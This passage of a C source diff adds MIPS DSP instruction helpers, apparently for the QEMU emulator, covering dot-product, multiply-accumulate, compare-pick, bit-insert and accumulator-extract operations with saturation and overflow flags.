+DP_HASFUNC_PH(dpsq_s_w_ph, 0, 16, 0, 16, 0); +DP_HASFUNC_PH(dpsqx_s_w_ph, 0, 16, 0, 0, 16); + +#undef DP_HASFUNC_PH + +#define DP_128OPERATION_PH(name, is_add) \ +void helper_##name(uint32_t ac, target_ulong rs, target_ulong rt, \ + CPUMIPSState *env) \ +{ \ + int16_t rsh, rsl, rth, rtl; \ + int32_t tempB, tempA, tempC62_31, tempC63; \ + int64_t acc, dotp, tempC; \ + \ + MIPSDSP_SPLIT32_16(rs, rsh, rsl); \ + MIPSDSP_SPLIT32_16(rt, rth, rtl); \ + \ + tempB = mipsdsp_mul_q15_q15(ac, rsh, rtl, env); \ + tempA = mipsdsp_mul_q15_q15(ac, rsl, rth, env); \ + \ + dotp = (int64_t)tempB + (int64_t)tempA; \ + acc = ((uint64_t)env->active_tc.HI[ac] << 32) | \ + ((uint64_t)env->active_tc.LO[ac] & MIPSDSP_LLO); \ + if (is_add) { \ + tempC = acc + dotp; \ + } else { \ + tempC = acc - dotp; \ + } \ + tempC63 = (tempC >> 63) & 0x01; \ + tempC62_31 = (tempC >> 31) & 0xFFFFFFFF; \ + \ + if ((tempC63 == 0) && (tempC62_31 != 0x00000000)) { \ + tempC = 0x7FFFFFFF; \ + set_DSPControl_overflow_flag(1, 16 + ac, env); \ + } \ + \ + if ((tempC63 == 1) && (tempC62_31 != 0xFFFFFFFF)) { \ + tempC = (int64_t)(int32_t)0x80000000; \ + set_DSPControl_overflow_flag(1, 16 + ac, env); \ + } \ + \ + env->active_tc.HI[ac] = (target_long)(int32_t) \ + ((tempC & MIPSDSP_LHI) >> 32); \ + env->active_tc.LO[ac] = (target_long)(int32_t) \ + (tempC & MIPSDSP_LLO); \ +} + +DP_128OPERATION_PH(dpaqx_sa_w_ph, 1); +DP_128OPERATION_PH(dpsqx_sa_w_ph, 0); + +#undef DP_128OPERATION_HP + +#if defined(TARGET_MIPS64) +#define DP_QH(name, is_add, use_ac_env) \ +void helper_##name(target_ulong rs, target_ulong rt, uint32_t ac, \ + CPUMIPSState *env) \ +{ \ + int32_t rs3, rs2, rs1, rs0; \ + int32_t rt3, rt2, rt1, rt0; \ + int32_t tempD, tempC, tempB, tempA; \ + int64_t acc[2]; \ + int64_t temp[2]; \ + int64_t temp_sum; \ + \ + MIPSDSP_SPLIT64_16(rs, rs3, rs2, rs1, rs0); \ + MIPSDSP_SPLIT64_16(rt, rt3, rt2, rt1, rt0); \ + \ + if (use_ac_env) { \ + tempD = mipsdsp_mul_q15_q15(ac, rs3, rt3, env); \ + tempC = mipsdsp_mul_q15_q15(ac, rs2, rt2, env); \ + tempB = mipsdsp_mul_q15_q15(ac, rs1, rt1, env); \ + tempA = mipsdsp_mul_q15_q15(ac, rs0, rt0, env); \ + } else { \ + tempD = mipsdsp_mul_u16_u16(rs3, rt3); \ + tempC = mipsdsp_mul_u16_u16(rs2, rt2); \ + tempB = mipsdsp_mul_u16_u16(rs1, rt1); \ + tempA = mipsdsp_mul_u16_u16(rs0, rt0); \ + } \ + \ + temp[0] = (int64_t)tempD + (int64_t)tempC + \ + (int64_t)tempB + (int64_t)tempA; \ + \ + if (temp[0] >= 0) { \ + temp[1] = 0; \ + } else { \ + temp[1] = ~0ull; \ + } \ + \ + acc[1] = env->active_tc.HI[ac]; \ + acc[0] = env->active_tc.LO[ac]; \ + \ + if (is_add) { \ + temp_sum = acc[0] + temp[0]; \ + if (((uint64_t)temp_sum < (uint64_t)acc[0]) && \ + ((uint64_t)temp_sum < (uint64_t)temp[0])) { \ + acc[1] = acc[1] + 1; \ + } \ + temp[0] = temp_sum; \ + temp[1] = acc[1] + temp[1]; \ + } else { \ + temp_sum = acc[0] - temp[0]; \ + if ((uint64_t)temp_sum > (uint64_t)acc[0]) { \ + acc[1] = acc[1] - 1; \ + } \ + temp[0] = temp_sum; \ + temp[1] = acc[1] - temp[1]; \ + } \ + \ + env->active_tc.HI[ac] = temp[1]; \ + env->active_tc.LO[ac] = temp[0]; \ +} + +DP_QH(dpa_w_qh, 1, 0); +DP_QH(dpaq_s_w_qh, 1, 1); +DP_QH(dps_w_qh, 0, 0); +DP_QH(dpsq_s_w_qh, 0, 1); + +#undef DP_QH + +#endif + +#define DP_L_W(name, is_add) \ +void helper_##name(uint32_t ac, target_ulong rs, target_ulong rt, \ + CPUMIPSState *env) \ +{ \ + int32_t temp63; \ + int64_t dotp, acc; \ + uint64_t temp; \ + bool overflow; \ + \ + dotp = mipsdsp_mul_q31_q31(ac, rs, rt, env); \ + acc = ((uint64_t)env->active_tc.HI[ac] << 32) | \ + ((uint64_t)env->active_tc.LO[ac] & MIPSDSP_LLO); \ + if (is_add) { \ + temp = acc + dotp; \ + overflow = MIPSDSP_OVERFLOW_ADD((uint64_t)acc, (uint64_t)dotp, \ + temp, (0x01ull << 63)); \ + } else { \ + temp = acc - dotp; \ + overflow = MIPSDSP_OVERFLOW_SUB((uint64_t)acc, (uint64_t)dotp, \ + temp, (0x01ull << 63)); \ + } \ + \ + if (overflow) { \ + temp63 = (temp >> 63) & 0x01; \ + if (temp63 == 1) { \ + temp = (0x01ull << 63) - 1; \ + } else { \ + temp = 0x01ull << 63; \ + } \ + \ + set_DSPControl_overflow_flag(1, 16 + ac, env); \ + } \ + \ + env->active_tc.HI[ac] = (target_long)(int32_t) \ + ((temp & MIPSDSP_LHI) >> 32); \ + env->active_tc.LO[ac] = (target_long)(int32_t) \ + (temp & MIPSDSP_LLO); \ +} + +DP_L_W(dpaq_sa_l_w, 1); +DP_L_W(dpsq_sa_l_w, 0); + +#undef DP_L_W + +#if defined(TARGET_MIPS64) +#define DP_L_PW(name, func) \ +void helper_##name(target_ulong rs, target_ulong rt, uint32_t ac, \ + CPUMIPSState *env) \ +{ \ + int32_t rs1, rs0; \ + int32_t rt1, rt0; \ + int64_t tempB[2], tempA[2]; \ + int64_t temp[2]; \ + int64_t acc[2]; \ + int64_t temp_sum; \ + \ + temp[0] = 0; \ + temp[1] = 0; \ + \ + MIPSDSP_SPLIT64_32(rs, rs1, rs0); \ + MIPSDSP_SPLIT64_32(rt, rt1, rt0); \ + \ + tempB[0] = mipsdsp_mul_q31_q31(ac, rs1, rt1, env); \ + tempA[0] = mipsdsp_mul_q31_q31(ac, rs0, rt0, env); \ + \ + if (tempB[0] >= 0) { \ + tempB[1] = 0x00; \ + } else { \ + tempB[1] = ~0ull; \ + } \ + \ + if (tempA[0] >= 0) { \ + tempA[1] = 0x00; \ + } else { \ + tempA[1] = ~0ull; \ + } \ + \ + temp_sum = tempB[0] + tempA[0]; \ + if (((uint64_t)temp_sum < (uint64_t)tempB[0]) && \ + ((uint64_t)temp_sum < (uint64_t)tempA[0])) { \ + temp[1] += 1; \ + } \ + temp[0] = temp_sum; \ + temp[1] += tempB[1] + tempA[1]; \ + \ + mipsdsp_##func(acc, ac, temp, env); \ + \ + env->active_tc.HI[ac] = acc[1]; \ + env->active_tc.LO[ac] = acc[0]; \ +} + +DP_L_PW(dpaq_sa_l_pw, sat64_acc_add_q63); +DP_L_PW(dpsq_sa_l_pw, sat64_acc_sub_q63); + +#undef DP_L_PW + +void helper_mulsaq_s_l_pw(target_ulong rs, target_ulong rt, uint32_t ac, + CPUMIPSState *env) +{ + int32_t rs1, rs0; + int32_t rt1, rt0; + int64_t tempB[2], tempA[2]; + int64_t temp[2]; + int64_t acc[2]; + int64_t temp_sum; + + rs1 = (rs >> 32) & MIPSDSP_LLO; + rs0 = rs & MIPSDSP_LLO; + rt1 = (rt >> 32) & MIPSDSP_LLO; + rt0 = rt & MIPSDSP_LLO; + + tempB[0] = mipsdsp_mul_q31_q31(ac, rs1, rt1, env); + tempA[0] = mipsdsp_mul_q31_q31(ac, rs0, rt0, env); + + if (tempB[0] >= 0) { + tempB[1] = 0x00; + } else { + tempB[1] = ~0ull; + } + + if (tempA[0] >= 0) { + tempA[1] = 0x00; + } else { + tempA[1] = ~0ull; + } + + acc[0] = env->active_tc.LO[ac]; + acc[1] = env->active_tc.HI[ac]; + + temp_sum = tempB[0] - tempA[0]; + if ((uint64_t)temp_sum > (uint64_t)tempB[0]) { + tempB[1] -= 1; + } + temp[0] = temp_sum; + temp[1] = tempB[1] - tempA[1]; + + if ((temp[1] & 0x01) == 0) { + temp[1] = 0x00; + } else { + temp[1] = ~0ull; + } + + temp_sum = acc[0] + temp[0]; + if (((uint64_t)temp_sum < (uint64_t)acc[0]) && + ((uint64_t)temp_sum < (uint64_t)temp[0])) { + acc[1] += 1; + } + acc[0] = temp_sum; + acc[1] += temp[1]; + + env->active_tc.HI[ac] = acc[1]; + env->active_tc.LO[ac] = acc[0]; +} +#endif + +#define MAQ_S_W(name, mov) \ +void helper_##name(uint32_t ac, target_ulong rs, target_ulong rt, \ + CPUMIPSState *env) \ +{ \ + int16_t rsh, rth; \ + int32_t tempA; \ + int64_t tempL, acc; \ + \ + rsh = (rs >> mov) & MIPSDSP_LO; \ + rth = (rt >> mov) & MIPSDSP_LO; \ + tempA = mipsdsp_mul_q15_q15(ac, rsh, rth, env); \ + acc = ((uint64_t)env->active_tc.HI[ac] << 32) | \ + ((uint64_t)env->active_tc.LO[ac] & MIPSDSP_LLO); \ + tempL = (int64_t)tempA + acc; \ + env->active_tc.HI[ac] = (target_long)(int32_t) \ + ((tempL & MIPSDSP_LHI) >> 32); \ + env->active_tc.LO[ac] = (target_long)(int32_t) \ + (tempL & MIPSDSP_LLO); \ +} + +MAQ_S_W(maq_s_w_phl, 16); +MAQ_S_W(maq_s_w_phr, 0); + +#undef MAQ_S_W + +#define MAQ_SA_W(name, mov) \ +void helper_##name(uint32_t ac, target_ulong rs, target_ulong rt, \ + CPUMIPSState *env) \ +{ \ + int16_t rsh, rth; \ + int32_t tempA; \ + \ + rsh = (rs >> mov) & MIPSDSP_LO; \ + rth = (rt >> mov) & MIPSDSP_LO; \ + tempA = mipsdsp_mul_q15_q15(ac, rsh, rth, env); \ + tempA = mipsdsp_sat32_acc_q31(ac, tempA, env); \ + \ + env->active_tc.HI[ac] = (target_long)(int32_t)(((int64_t)tempA & \ + MIPSDSP_LHI) >> 32); \ + env->active_tc.LO[ac] = (target_long)(int32_t)((int64_t)tempA & \ + MIPSDSP_LLO); \ +} + +MAQ_SA_W(maq_sa_w_phl, 16); +MAQ_SA_W(maq_sa_w_phr, 0); + +#undef MAQ_SA_W + +#define MULQ_W(name, addvar) \ +target_ulong helper_##name(target_ulong rs, target_ulong rt, \ + CPUMIPSState *env) \ +{ \ + int32_t rs_t, rt_t; \ + int32_t tempI; \ + int64_t tempL; \ + \ + rs_t = rs & MIPSDSP_LLO; \ + rt_t = rt & MIPSDSP_LLO; \ + \ + if ((rs_t == 0x80000000) && (rt_t == 0x80000000)) { \ + tempL = 0x7FFFFFFF00000000ull; \ + set_DSPControl_overflow_flag(1, 21, env); \ + } else { \ + tempL = ((int64_t)rs_t * (int64_t)rt_t) << 1; \ + tempL += addvar; \ + } \ + tempI = (tempL & MIPSDSP_LHI) >> 32; \ + \ + return (target_long)(int32_t)tempI; \ +} + +MULQ_W(mulq_s_w, 0); +MULQ_W(mulq_rs_w, 0x80000000ull); + +#undef MULQ_W + +#if defined(TARGET_MIPS64) + +#define MAQ_S_W_QH(name, mov) \ +void helper_##name(target_ulong rs, target_ulong rt, uint32_t ac, \ + CPUMIPSState *env) \ +{ \ + int16_t rs_t, rt_t; \ + int32_t temp_mul; \ + int64_t temp[2]; \ + int64_t acc[2]; \ + int64_t temp_sum; \ + \ + temp[0] = 0; \ + temp[1] = 0; \ + \ + rs_t = (rs >> mov) & MIPSDSP_LO; \ + rt_t = (rt >> mov) & MIPSDSP_LO; \ + temp_mul = mipsdsp_mul_q15_q15(ac, rs_t, rt_t, env); \ + \ + temp[0] = (int64_t)temp_mul; \ + if (temp[0] >= 0) { \ + temp[1] = 0x00; \ + } else { \ + temp[1] = ~0ull; \ + } \ + \ + acc[0] = env->active_tc.LO[ac]; \ + acc[1] = env->active_tc.HI[ac]; \ + \ + temp_sum = acc[0] + temp[0]; \ + if (((uint64_t)temp_sum < (uint64_t)acc[0]) && \ + ((uint64_t)temp_sum < (uint64_t)temp[0])) { \ + acc[1] += 1; \ + } \ + acc[0] = temp_sum; \ + acc[1] += temp[1]; \ + \ + env->active_tc.HI[ac] = acc[1]; \ + env->active_tc.LO[ac] = acc[0]; \ +} + +MAQ_S_W_QH(maq_s_w_qhll, 48); +MAQ_S_W_QH(maq_s_w_qhlr, 32); +MAQ_S_W_QH(maq_s_w_qhrl, 16); +MAQ_S_W_QH(maq_s_w_qhrr, 0); + +#undef MAQ_S_W_QH + +#define MAQ_SA_W(name, mov) \ +void helper_##name(target_ulong rs, target_ulong rt, uint32_t ac, \ + CPUMIPSState *env) \ +{ \ + int16_t rs_t, rt_t; \ + int32_t temp; \ + int64_t acc[2]; \ + \ + rs_t = (rs >> mov) & MIPSDSP_LO; \ + rt_t = (rt >> mov) & MIPSDSP_LO; \ + temp = mipsdsp_mul_q15_q15(ac, rs_t, rt_t, env); \ + temp = mipsdsp_sat32_acc_q31(ac, temp, env); \ + \ + acc[0] = (int64_t)(int32_t)temp; \ + if (acc[0] >= 0) { \ + acc[1] = 0x00; \ + } else { \ + acc[1] = ~0ull; \ + } \ + \ + env->active_tc.HI[ac] = acc[1]; \ + env->active_tc.LO[ac] = acc[0]; \ +} + +MAQ_SA_W(maq_sa_w_qhll, 48); +MAQ_SA_W(maq_sa_w_qhlr, 32); +MAQ_SA_W(maq_sa_w_qhrl, 16); +MAQ_SA_W(maq_sa_w_qhrr, 0); + +#undef MAQ_SA_W + +#define MAQ_S_L_PW(name, mov) \ +void helper_##name(target_ulong rs, target_ulong rt, uint32_t ac, \ + CPUMIPSState *env) \ +{ \ + int32_t rs_t, rt_t; \ + int64_t temp[2]; \ + int64_t acc[2]; \ + int64_t temp_sum; \ + \ + temp[0] = 0; \ + temp[1] = 0; \ + \ + rs_t = (rs >> mov) & MIPSDSP_LLO; \ + rt_t = (rt >> mov) & MIPSDSP_LLO; \ + \ + temp[0] = mipsdsp_mul_q31_q31(ac, rs_t, rt_t, env); \ + if (temp[0] >= 0) { \ + temp[1] = 0x00; \ + } else { \ + temp[1] = ~0ull; \ + } \ + \ + acc[0] = env->active_tc.LO[ac]; \ + acc[1] = env->active_tc.HI[ac]; \ + \ + temp_sum = acc[0] + temp[0]; \ + if (((uint64_t)temp_sum < (uint64_t)acc[0]) && \ + ((uint64_t)temp_sum < (uint64_t)temp[0])) { \ + acc[1] += 1; \ + } \ + acc[0] = temp_sum; \ + acc[1] += temp[1]; \ + \ + env->active_tc.HI[ac] = acc[1]; \ + env->active_tc.LO[ac] = acc[0]; \ +} + +MAQ_S_L_PW(maq_s_l_pwl, 32); +MAQ_S_L_PW(maq_s_l_pwr, 0); + +#undef MAQ_S_L_PW + +#define DM_OPERATE(name, func, is_add, sigext) \ +void helper_##name(target_ulong rs, target_ulong rt, uint32_t ac, \ + CPUMIPSState *env) \ +{ \ + int32_t rs1, rs0; \ + int32_t rt1, rt0; \ + int64_t tempBL[2], tempAL[2]; \ + int64_t acc[2]; \ + int64_t temp[2]; \ + int64_t temp_sum; \ + \ + temp[0] = 0x00; \ + temp[1] = 0x00; \ + \ + MIPSDSP_SPLIT64_32(rs, rs1, rs0); \ + MIPSDSP_SPLIT64_32(rt, rt1, rt0); \ + \ + if (sigext) { \ + tempBL[0] = (int64_t)mipsdsp_##func(rs1, rt1); \ + tempAL[0] = (int64_t)mipsdsp_##func(rs0, rt0); \ + \ + if (tempBL[0] >= 0) { \ + tempBL[1] = 0x0; \ + } else { \ + tempBL[1] = ~0ull; \ + } \ + \ + if (tempAL[0] >= 0) { \ + tempAL[1] = 0x0; \ + } else { \ + tempAL[1] = ~0ull; \ + } \ + } else { \ + tempBL[0] = mipsdsp_##func(rs1, rt1); \ + tempAL[0] = mipsdsp_##func(rs0, rt0); \ + tempBL[1] = 0; \ + tempAL[1] = 0; \ + } \ + \ + acc[1] = env->active_tc.HI[ac]; \ + acc[0] = env->active_tc.LO[ac]; \ + \ + temp_sum = tempBL[0] + tempAL[0]; \ + if (((uint64_t)temp_sum < (uint64_t)tempBL[0]) && \ + ((uint64_t)temp_sum < (uint64_t)tempAL[0])) { \ + temp[1] += 1; \ + } \ + temp[0] = temp_sum; \ + temp[1] += tempBL[1] + tempAL[1]; \ + \ + if (is_add) { \ + temp_sum = acc[0] + temp[0]; \ + if (((uint64_t)temp_sum < (uint64_t)acc[0]) && \ + ((uint64_t)temp_sum < (uint64_t)temp[0])) { \ + acc[1] += 1; \ + } \ + temp[0] = temp_sum; \ + temp[1] = acc[1] + temp[1]; \ + } else { \ + temp_sum = acc[0] - temp[0]; \ + if ((uint64_t)temp_sum > (uint64_t)acc[0]) { \ + acc[1] -= 1; \ + } \ + temp[0] = temp_sum; \ + temp[1] = acc[1] - temp[1]; \ + } \ + \ + env->active_tc.HI[ac] = temp[1]; \ + env->active_tc.LO[ac] = temp[0]; \ +} + +DM_OPERATE(dmadd, mul_i32_i32, 1, 1); +DM_OPERATE(dmaddu, mul_u32_u32, 1, 0); +DM_OPERATE(dmsub, mul_i32_i32, 0, 1); +DM_OPERATE(dmsubu, mul_u32_u32, 0, 0); +#undef DM_OPERATE +#endif + +/** DSP Bit/Manipulation Sub-class insns **/ +target_ulong helper_bitrev(target_ulong rt) +{ + int32_t temp; + uint32_t rd; + int i; + + temp = rt & MIPSDSP_LO; + rd = 0; + for (i = 0; i < 16; i++) { + rd = (rd << 1) | (temp & 1); + temp = temp >> 1; + } + + return (target_ulong)rd; +} + +#define BIT_INSV(name, posfilter, ret_type) \ +target_ulong helper_##name(CPUMIPSState *env, target_ulong rs, \ + target_ulong rt) \ +{ \ + uint32_t pos, size, msb, lsb; \ + uint32_t const sizefilter = 0x3F; \ + target_ulong temp; \ + target_ulong dspc; \ + \ + dspc = env->active_tc.DSPControl; \ + \ + pos = dspc & posfilter; \ + size = (dspc >> 7) & sizefilter; \ + \ + msb = pos + size - 1; \ + lsb = pos; \ + \ + if (lsb > msb || (msb > TARGET_LONG_BITS)) { \ + return rt; \ + } \ + \ + temp = deposit64(rt, pos, size, rs); \ + \ + return (target_long)(ret_type)temp; \ +} + +BIT_INSV(insv, 0x1F, int32_t); +#ifdef TARGET_MIPS64 +BIT_INSV(dinsv, 0x7F, target_long); +#endif + +#undef BIT_INSV + + +/** DSP Compare-Pick Sub-class insns **/ +#define CMP_HAS_RET(name, func, split_num, filter, bit_size) \ +target_ulong helper_##name(target_ulong rs, target_ulong rt) \ +{ \ + uint32_t rs_t, rt_t; \ + uint8_t cc; \ + uint32_t temp = 0; \ + int i; \ + \ + for (i = 0; i < split_num; i++) { \ + rs_t = (rs >> (bit_size * i)) & filter; \ + rt_t = (rt >> (bit_size * i)) & filter; \ + cc = mipsdsp_##func(rs_t, rt_t); \ + temp |= cc << i; \ + } \ + \ + return (target_ulong)temp; \ +} + +CMP_HAS_RET(cmpgu_eq_qb, cmpu_eq, 4, MIPSDSP_Q0, 8); +CMP_HAS_RET(cmpgu_lt_qb, cmpu_lt, 4, MIPSDSP_Q0, 8); +CMP_HAS_RET(cmpgu_le_qb, cmpu_le, 4, MIPSDSP_Q0, 8); + +#ifdef TARGET_MIPS64 +CMP_HAS_RET(cmpgu_eq_ob, cmpu_eq, 8, MIPSDSP_Q0, 8); +CMP_HAS_RET(cmpgu_lt_ob, cmpu_lt, 8, MIPSDSP_Q0, 8); +CMP_HAS_RET(cmpgu_le_ob, cmpu_le, 8, MIPSDSP_Q0, 8); +#endif + +#undef CMP_HAS_RET + + +#define CMP_NO_RET(name, func, split_num, filter, bit_size) \ +void helper_##name(target_ulong rs, target_ulong rt, \ + CPUMIPSState *env) \ +{ \ + int##bit_size##_t rs_t, rt_t; \ + int##bit_size##_t flag = 0; \ + int##bit_size##_t cc; \ + int i; \ + \ + for (i = 0; i < split_num; i++) { \ + rs_t = (rs >> (bit_size * i)) & filter; \ + rt_t = (rt >> (bit_size * i)) & filter; \ + \ + cc = mipsdsp_##func((int32_t)rs_t, (int32_t)rt_t); \ + flag |= cc << i; \ + } \ + \ + set_DSPControl_24(flag, split_num, env); \ +} + +CMP_NO_RET(cmpu_eq_qb, cmpu_eq, 4, MIPSDSP_Q0, 8); +CMP_NO_RET(cmpu_lt_qb, cmpu_lt, 4, MIPSDSP_Q0, 8); +CMP_NO_RET(cmpu_le_qb, cmpu_le, 4, MIPSDSP_Q0, 8); + +CMP_NO_RET(cmp_eq_ph, cmp_eq, 2, MIPSDSP_LO, 16); +CMP_NO_RET(cmp_lt_ph, cmp_lt, 2, MIPSDSP_LO, 16); +CMP_NO_RET(cmp_le_ph, cmp_le, 2, MIPSDSP_LO, 16); + +#ifdef TARGET_MIPS64 +CMP_NO_RET(cmpu_eq_ob, cmpu_eq, 8, MIPSDSP_Q0, 8); +CMP_NO_RET(cmpu_lt_ob, cmpu_lt, 8, MIPSDSP_Q0, 8); +CMP_NO_RET(cmpu_le_ob, cmpu_le, 8, MIPSDSP_Q0, 8); + +CMP_NO_RET(cmp_eq_qh, cmp_eq, 4, MIPSDSP_LO, 16); +CMP_NO_RET(cmp_lt_qh, cmp_lt, 4, MIPSDSP_LO, 16); +CMP_NO_RET(cmp_le_qh, cmp_le, 4, MIPSDSP_LO, 16); + +CMP_NO_RET(cmp_eq_pw, cmp_eq, 2, MIPSDSP_LLO, 32); +CMP_NO_RET(cmp_lt_pw, cmp_lt, 2, MIPSDSP_LLO, 32); +CMP_NO_RET(cmp_le_pw, cmp_le, 2, MIPSDSP_LLO, 32); +#endif +#undef CMP_NO_RET + +#if defined(TARGET_MIPS64) + +#define CMPGDU_OB(name) \ +target_ulong helper_cmpgdu_##name##_ob(target_ulong rs, target_ulong rt, \ + CPUMIPSState *env) \ +{ \ + int i; \ + uint8_t rs_t, rt_t; \ + uint32_t cond; \ + \ + cond = 0; \ + \ + for (i = 0; i < 8; i++) { \ + rs_t = (rs >> (8 * i)) & MIPSDSP_Q0; \ + rt_t = (rt >> (8 * i)) & MIPSDSP_Q0; \ + \ + if (mipsdsp_cmpu_##name(rs_t, rt_t)) { \ + cond |= 0x01 << i; \ + } \ + } \ + \ + set_DSPControl_24(cond, 8, env); \ + \ + return (uint64_t)cond; \ +} + +CMPGDU_OB(eq) +CMPGDU_OB(lt) +CMPGDU_OB(le) +#undef CMPGDU_OB +#endif + +#define PICK_INSN(name, split_num, filter, bit_size, ret32bit) \ +target_ulong helper_##name(target_ulong rs, target_ulong rt, \ + CPUMIPSState *env) \ +{ \ + uint32_t rs_t, rt_t; \ + uint32_t cc; \ + target_ulong dsp; \ + int i; \ + target_ulong result = 0; \ + \ + dsp = env->active_tc.DSPControl; \ + for (i = 0; i < split_num; i++) { \ + rs_t = (rs >> (bit_size * i)) & filter; \ + rt_t = (rt >> (bit_size * i)) & filter; \ + cc = (dsp >> (24 + i)) & 0x01; \ + cc = cc == 1 ? rs_t : rt_t; \ + \ + result |= (target_ulong)cc << (bit_size * i); \ + } \ + \ + if (ret32bit) { \ + result = (target_long)(int32_t)(result & MIPSDSP_LLO); \ + } \ + \ + return result; \ +} + +PICK_INSN(pick_qb, 4, MIPSDSP_Q0, 8, 1); +PICK_INSN(pick_ph, 2, MIPSDSP_LO, 16, 1); + +#ifdef TARGET_MIPS64 +PICK_INSN(pick_ob, 8, MIPSDSP_Q0, 8, 0); +PICK_INSN(pick_qh, 4, MIPSDSP_LO, 16, 0); +PICK_INSN(pick_pw, 2, MIPSDSP_LLO, 32, 0); +#endif +#undef PICK_INSN + +target_ulong helper_packrl_ph(target_ulong rs, target_ulong rt) +{ + uint32_t rsl, rth; + + rsl = rs & MIPSDSP_LO; + rth = (rt & MIPSDSP_HI) >> 16; + + return (target_long)(int32_t)((rsl << 16) | rth); +} + +#if defined(TARGET_MIPS64) +target_ulong helper_packrl_pw(target_ulong rs, target_ulong rt) +{ + uint32_t rs0, rt1; + + rs0 = rs & MIPSDSP_LLO; + rt1 = (rt >> 32) & MIPSDSP_LLO; + + return ((uint64_t)rs0 << 32) | (uint64_t)rt1; +} +#endif + +/** DSP Accumulator and DSPControl Access Sub-class insns **/ +target_ulong helper_extr_w(target_ulong ac, target_ulong shift, + CPUMIPSState *env) +{ + int32_t tempI; + int64_t tempDL[2]; + + shift = shift & 0x1F; + + mipsdsp_rndrashift_short_acc(tempDL, ac, shift, env); + if ((tempDL[1] != 0 || (tempDL[0] & MIPSDSP_LHI) != 0) && + (tempDL[1] != 1 || (tempDL[0] & MIPSDSP_LHI) != MIPSDSP_LHI)) { + set_DSPControl_overflow_flag(1, 23, env); + } + + tempI = (tempDL[0] >> 1) & MIPSDSP_LLO; + + tempDL[0] += 1; + if (tempDL[0] == 0) { + tempDL[1] += 1; + } + + if (((tempDL[1] & 0x01) != 0 || (tempDL[0] & MIPSDSP_LHI) != 0) && + ((tempDL[1] & 0x01) != 1 || (tempDL[0] & MIPSDSP_LHI) != MIPSDSP_LHI)) { + set_DSPControl_overflow_flag(1, 23, env); + } + + return (target_long)tempI; +} + +target_ulong helper_extr_r_w(target_ulong ac, target_ulong shift, + CPUMIPSState *env) +{ + int64_t tempDL[2]; + + shift = shift & 0x1F; + + mipsdsp_rndrashift_short_acc(tempDL, ac, shift, env); + if ((tempDL[1] != 0 || (tempDL[0] & MIPSDSP_LHI) != 0) && + (tempDL[1] != 1 || (tempDL[0] & MIPSDSP_LHI) != MIPSDSP_LHI)) { + set_DSPControl_overflow_flag(1, 23, env); + } + + tempDL[0] += 1; + if (tempDL[0] == 0) { + tempDL[1] += 1; + } + + if (((tempDL[1] & 0x01) != 0 || (tempDL[0] & MIPSDSP_LHI) != 0) && + ((tempDL[1] & 0x01) != 1 || (tempDL[0] & MIPSDSP_LHI) != MIPSDSP_LHI)) { + set_DSPControl_overflow_flag(1, 23, env); + } + + return (target_long)(int32_t)(tempDL[0] >> 1); +} + +target_ulong helper_extr_rs_w(target_ulong ac, target_ulong shift, + CPUMIPSState *env) +{ + int32_t tempI, temp64; + int64_t tempDL[2]; + + shift = shift & 0x1F; + + mipsdsp_rndrashift_short_acc(tempDL, ac, shift, env); + if ((tempDL[1] != 0 || (tempDL[0] & MIPSDSP_LHI) != 0) && + (tempDL[1] != 1 || (tempDL[0] & MIPSDSP_LHI) != MIPSDSP_LHI)) { + set_DSPControl_overflow_flag(1, 23, env); + } + tempDL[0] += 1; + if (tempDL[0] == 0) { + tempDL[1] += 1; + } + tempI = tempDL[0] >> 1; + + if (((tempDL[1] & 0x01) != 0 || (tempDL[0] & MIPSDSP_LHI) != 0) && + ((tempDL[1] & 0x01) != 1 || (tempDL[0] & MIPSDSP_LHI) != MIPSDSP_LHI)) { + temp64 = tempDL[1] & 0x01; + if (temp64 == 0) { + tempI = 0x7FFFFFFF; + } else { + tempI = 0x80000000; + } + set_DSPControl_overflow_flag(1, 23, env); + } + + return (target_long)tempI; +} + +#if defined(TARGET_MIPS64) +target_ulong helper_dextr_w(target_ulong ac, target_ulong shift, + CPUMIPSState *env) +{ + uint64_t temp[3]; + + shift = shift & 0x3F; + + mipsdsp_rndrashift_acc(temp, ac, shift, env); + + return (int64_t)(int32_t)(temp[0] >> 1); +} + +target_ulong helper_dextr_r_w(target_ulong ac, target_ulong shift, + CPUMIPSState *env) +{ + uint64_t temp[3]; + uint32_t temp128; + + shift = shift & 0x3F; + mipsdsp_rndrashift_acc(temp, ac, shift, env); + + temp[0] += 1; + if (temp[0] == 0) { + temp[1] += 1; + if (temp[1] == 0) { + temp[2] += 1; + } + } + + temp128 = temp[2] & 0x01; + + if ((temp128 != 0 || temp[1] != 0) && + (temp128 != 1 || temp[1] != ~0ull)) { + set_DSPControl_overflow_flag(1, 23, env); + } + + return (int64_t)(int32_t)(temp[0] >> 1); +} + +target_ulong helper_dextr_rs_w(target_ulong ac, target_ulong shift, + CPUMIPSState *env) +{ + uint64_t temp[3]; + uint32_t temp128; + + shift = shift & 0x3F; + mipsdsp_rndrashift_acc(temp, ac, shift, env); + + temp[0] += 1; + if (temp[0] == 0) { + temp[1] += 1; + if (temp[1] == 0) { + temp[2] += 1; + } + } + + temp128 = temp[2] & 0x01; + + if ((temp128 != 0 || temp[1] != 0) && + (temp128 != 1 || temp[1] != ~0ull)) { + if (temp128 == 0) { + temp[0] = 0x0FFFFFFFF; + } else { + temp[0] = 0x0100000000ULL; + } + set_DSPControl_overflow_flag(1, 23, env); + } + + return (int64_t)(int32_t)(temp[0] >> 1); +} + +target_ulong helper_dextr_l(target_ulong ac, target_ulong shift, + CPUMIPSState *env) +{ + uint64_t temp[3]; + target_ulong result; + + shift = shift & 0x3F; + + mipsdsp_rndrashift_acc(temp, ac, shift, env); + result = (temp[1] << 63) | (temp[0] >> 1); + + return result; +} + +target_ulong helper_dextr_r_l(target_ulong ac, target_ulong shift, + CPUMIPSState *env) +{ + uint64_t temp[3]; + uint32_t temp128; + target_ulong result; + + shift = shift & 0x3F; + mipsdsp_rndrashift_acc(temp, ac, shift, env); + + temp[0] += 1; + if (temp[0] == 0) { + temp[1] += 1; + if (temp[1] == 0) { + temp[2] += 1; + } + } + + temp128 = temp[2] & 0x01; + + if ((temp128 != 0 || temp[1] != 0) && + (temp128 != 1 || temp[1] != ~0ull)) { + set_DSPControl_overflow_flag(1, 23, env); + } + + result = (temp[1] << 63) | (temp[0] >> 1); + + return result; +} + +target_ulong helper_dextr_rs_l(target_ulong ac, target_ulong shift, + CPUMIPSState *env) +{ + uint64_t temp[3]; + uint32_t temp128; + target_ulong result; + + shift = shift & 0x3F; + mipsdsp_rndrashift_acc(temp, ac, shift, env); + + temp[0] += 1; + if (temp[0] == 0) { + temp[1] += 1; + if (temp[1] == 0) { + 